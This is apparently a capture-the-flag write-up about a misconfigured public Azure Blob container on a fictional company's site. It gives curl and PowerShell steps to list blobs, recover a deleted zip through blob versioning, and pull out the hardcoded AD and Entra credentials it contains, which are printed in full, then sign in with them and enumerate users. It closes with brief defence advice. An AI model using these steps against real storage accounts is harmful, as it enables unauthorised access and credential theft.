Overview: Misconfiguring public Azure Blob storage (equivalent to an S3 bucket) leading to data leakage

web：http://dev.megabigtech.com/$web/index.html

There is a bucket in the front-end source code:"https://mbtwebsite.blob.core.windows.net/$web/static/application-0162b80622a4b825c801f8afcd695b5918649df6f9b26eb012974f9b00a777c5.css

Azure Blob Storage is a scalable, secure object storage service provided by Microsoft Azure. It allows businesses to store and manage data such as files, images, videos, and backups. Blob storage services are highly available and a cost-effective option.

Replace the CSS file above with index.html from the provided URL -https://mbtwebsite.blob.core.windows.net/$web/index.html, we can see that this loads the original website and confirms our hypothesis that the website is hosted on the Azure Blob Storage service. We can also verify this by inspecting the web server response headers.

Invoke-WebRequest -Uri 'https://mbtwebsite.blob.core.windows.net/$web/index.html' -Method Head

StatusCode : 200
StatusDescription : OK
Content :
RawContent : HTTP/1.1 200 OK
ETag: 0x8DBD1A84E6455C0
Server: Windows-Azure-Blob/1.0
Server: Microsoft-HTTPAPI/2.0
x-ms-request-id: e57846ee-301e-0005-70b2-1b9ee4000000
x-ms-version: 2009-09-19
x-ms-lease-sta…
Headers : {[ETag, System.String[]], [Server, System.String[]], [x-ms-request-id, System.String[]], [x-ms-version, System.St
ring[]]…}
Images : {}
InputFields : {}
Links : {}
RawContentLength : 0
RelationLink : {}

We can see that the rawcontent field in the request is not fully displayed because it is truncated.

use Select-ObjectExtend RawContent

Invoke-WebRequest -Uri 'https://mbtwebsite.blob.core.windows.net/$web/index.html' -Method Head | Select-Object -ExpandProperty Headers

Key Value

ETag {0x8DBD1A84E6455C0}
Server {Windows-Azure-Blob/1.0, Microsoft-HTTPAPI/2.0}
x-ms-request-id {6248f175-e01e-004b-53b2-1bb06c000000}
x-ms-version {2009-09-19}
x-ms-lease-status {unlocked}
x-ms-blob-type {BlockBlob}
Date {Fri, 11 Oct 2024 07:51:17 GMT}
Content-Length {782359}
Content-Type {text/html}
Content-MD5 {JSe+sM+pXGAEFInxDgv4CA==}
Last-Modified {Fri, 20 Oct 2023 20:08:20 GMT}

You can see that the server is:Windows-Azure-BloLet's look at the components of a URL.

https ：使用的协议。Azure Blob 服务支持 http 和 https
mbtwebsite:与网站相关联的 Azure 存储帐户的名称。Azure 存储帐户是 Microsoft Azure 中的一项基础服务，可为各种类型的数据（包括文件、blobs、表和队列）提供可扩展的持久存储。
blob.core.windows.net : 这是 Azure Blob 存储服务
web:托管网站的容器名称，位于存储账户内
index:html请求的网页

So we can explore$webcontainer and see if you can find anything else.https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list

This will return all blobs in the XML document! We can also specify/separator, only the directories in the container are returned.https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&delimiter=%2F

I only saw the source code of the websitestatic Table of contents. Let’s check if the container has versioning enabled and if we can see any previous versions of the files. When Blob storage versioning is enabled, it automatically maintains previous versions of objects and uses timestamps to identify them.https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions

However, there is no such parameter (referring to version)

By checking Microsoft documentation, we found that only versions 2019-12-12 and later are supportedversionsparameters.
We can set curl'sx-ms-versionheader to specify the version of the operation.curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions'

curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions'
<?xml version="1.0" encoding="utf-8"?><EnumerationResults ServiceEndpoint="https://mbtwebsite.blob.core.windows.net/" ContainerName="$web"><Blobs><Blob><Name>index.html</Name><VersionId>2023-10-20T20:08:20.2966464Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 20:08:20 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 20:08:20 GMT</Last-Modified><Etag>0x8DBD1A84E6455C0</Etag><Content-Length>782359</Content-Length><Content-Type>text/html</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>JSe+sM+pXGAEFInxDgv4CA==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>scripts-transfer.zip</Name><VersionId>2024-03-29T20:55:40.8265593Z</VersionId><Properties><Creation-Time>Fri, 29 Mar 2024 20:55:40 GMT</Creation-Time><Last-Modified>Fri, 29 Mar 2024 20:55:40 GMT</Last-Modified><Etag>0x8DC503297FC8D79</Etag><Content-Length>1503</Content-Length><Content-Type>application/x-zip-compressed</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>1qDsI5JcoEf80LrjeE21Yg==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/application-0162b80622a4b825c801f8afcd695b5918649df6f9b26eb012974f9b00a777c5.css</Name><VersionId>2023-10-20T16:37:07.6851770Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACCED483A</Etag><Content-Length>18303</Content-Length><Content-Type>text/css</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>M/behUnHOMyLlbz9NxDo3A==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/application-76970cb8dc49a9af2f2bbc74a0ec0781ef24ead86c4f7b6273577d16c2f1506a.js.download</Name><VersionId>2023-10-20T16:37:07.7741266Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACCFADAD2</Etag><Content-Length>70364</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>2+ukSwvKgyhElia4g09ehw==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/common.js.download</Name><VersionId>2023-10-20T16:37:07.7921160Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACCFD9988</Etag><Content-Length>260277</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>SiG1SVedijy9PSpi3AN61A==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/css</Name><VersionId>2023-10-20T16:37:07.7911163Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACCFD727B</Etag><Content-Length>61584</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>Zt5NtEoCaKZrT/2rHwSzHw==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/iframe_api</Name><VersionId>2023-10-20T16:37:07.7081650Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACCF0CA32</Etag><Content-Length>993</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>mAkwQL/A6WmUU+wnZcJ27w==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/jquery-3.6.0.min.js.download</Name><VersionId>2023-10-20T16:37:07.9850044Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACD1AE134</Etag><Content-Length>89501</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>j7j+5PzDzIb/bHJBVMScQg==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/js</Name><VersionId>2023-10-20T16:37:08.2458554Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD42D5BA</Etag><Content-Length>284312</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>KI9rEm0pK5CUJ8taqzkyJQ==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/magnific-popup-2f7f85183333c84a42262b5f8a4f8251958809e29fa31c65bdee53c4603502cd.css</Name><VersionId>2023-10-20T16:37:08.1818916Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD391324</Etag><Content-Length>5269</Content-Length><Content-Type>text/css</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>P+zCAqNImbva/ZDdwc9KpA==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/magnific-popup.min-37130bcc3f8b01fe7473f8bb60a9aea35dc77c05eedc37fbd70135363feb6999.js.download</Name><VersionId>2023-10-20T16:37:08.1878884Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD39FD64</Etag><Content-Length>20173</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>3CUhak05JeDMk8aioBUxzw==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/player.js.download</Name><VersionId>2023-10-20T16:37:08.2508522Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD4398EA</Etag><Content-Length>37626</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>Eb3CdS92CUphY9xBUWDmxg==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/swiper-18be8aa3f032dded246a45a9da3dafdb3934e39e1f1b3b623c1722f3152b2788.css</Name><VersionId>2023-10-20T16:37:08.2588469Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD44D135</Etag><Content-Length>21726</Content-Length><Content-Type>text/css</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>O4lCx/ZgXeqvoMf7cNRlXQ==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/swiper.min-d36969d50f8c2fa3a00a68e55fe929e3af3fdd249cf33fd128b6a17a410e2c59.js.download</Name><VersionId>2023-10-20T16:37:08.4657280Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD646280</Etag><Content-Length>120650</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>f+8mcPo6KXeuFvr9pk2UCA==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/util.js.download</Name><VersionId>2023-10-20T16:37:08.5117021Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD6B665D</Etag><Content-Length>157918</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>4lQqHVXbihhsIjwhvf1OlQ==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/www-widgetapi.js.download</Name><VersionId>2023-10-20T16:37:08.5806628Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD75EC24</Etag><Content-Length>217803</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>3+rAAKmCYIM8I8bIfkagcA==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob></Blobs><NextMarker /></EnumerationResults>

Beautify it and find that script-transfer.zip and its version id exist.curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionId=2024-03-29T20:55:40.8265593Z' --output scripts-transfer.zip

curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionId=2024-03-29T20:55:40.8265593Z' --output scripts-transfer.zip

After unzipping, we can see two scripts. Below isstale_computer_accounts.ps1content. It identifies, disables, and moves obsolete computer accounts to a "review" OU (in-domain container object). We see it contains Active Directory administrative accountsmarcus_adm’s credentials!

# Define the target domain and OU
$domain = "megabigtech.local"
$ouName = "Review"

Set the threshold for stale computer accounts (adjust as needed)

$staleDays = 90 # Computers not modified in the last 90 days will be considered stale

Hardcoded credentials

$securePassword = ConvertTo-SecureString "MegaBigTech123!" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("marcus_adm", $securePassword)

Get the current date

$currentDate = Get-Date

Calculate the date threshold for stale accounts

$thresholdDate = $currentDate.AddDays(-$staleDays)

Disable and move stale computer accounts to the "Review" OU

Get-ADComputer -Filter {(LastLogonTimeStamp -lt $thresholdDate) -and (Enabled -eq $true)} -SearchBase "DC=$domain" -Properties LastLogonTimeStamp -Credential $credential |
ForEach-Object {
$computerName = $.Name
$computerDistinguishedName = $.DistinguishedName

# Disable the computer account
Disable-ADAccount -Identity $computerDistinguishedName -Credential $credential

# Move the computer account to the "Review" OU
Move-ADObject -Identity $computerDistinguishedName -TargetPath "OU=$ouName,DC=$domain" -Credential $credential

Write-Host "Disabled and moved computer account: $computerName"

}

You can also see the followingentra_users.ps1Script that can perform auditing on all Entra AD users and also has hardcoded credentials

# Install the required modules if not already installed

Install-Module -Name Az -Force -Scope CurrentUser

Install-Module -Name MSAL.PS -Force -Scope CurrentUser

Import the required modules

Import-Module Az
Import-Module MSAL.PS

Define your Azure AD credentials

$Username = "[email protected]"
$Password = "TheEagles12345!" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential ($Username, $Password)

Authenticate to Azure AD using the specified credentials

Connect-AzAccount -Credential $Credential

Define the Microsoft Graph API URL

$GraphApiUrl = "https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName"

Retrieve the access token for Microsoft Graph

$AccessToken = (Get-AzAccessToken -ResourceType MSGraph).Token

Create a headers hashtable with the access token

$headers = @{
"Authorization" = "Bearer $AccessToken"
"ContentType" = "application/json"
}

Retrieve User Information and Last Sign-In Time using Microsoft Graph via PowerShell

$response = Invoke-RestMethod -Uri $GraphApiUrl -Method Get -Headers $headers

Output the response (formatted as JSON)

$response | ConvertTo-Json

Let's runentra_users.ps1Script

Successfully enabled Entra AD users to gain access in Mega Big Tech Azure account and were able to enumerate all users.

Next, the users are enumerated. There is a flag in it.Get-AzADUser -SignedIn | fl

Defense

1. Delete blob history version

1. Don’t store hard-coded data in scripts (although many people do this)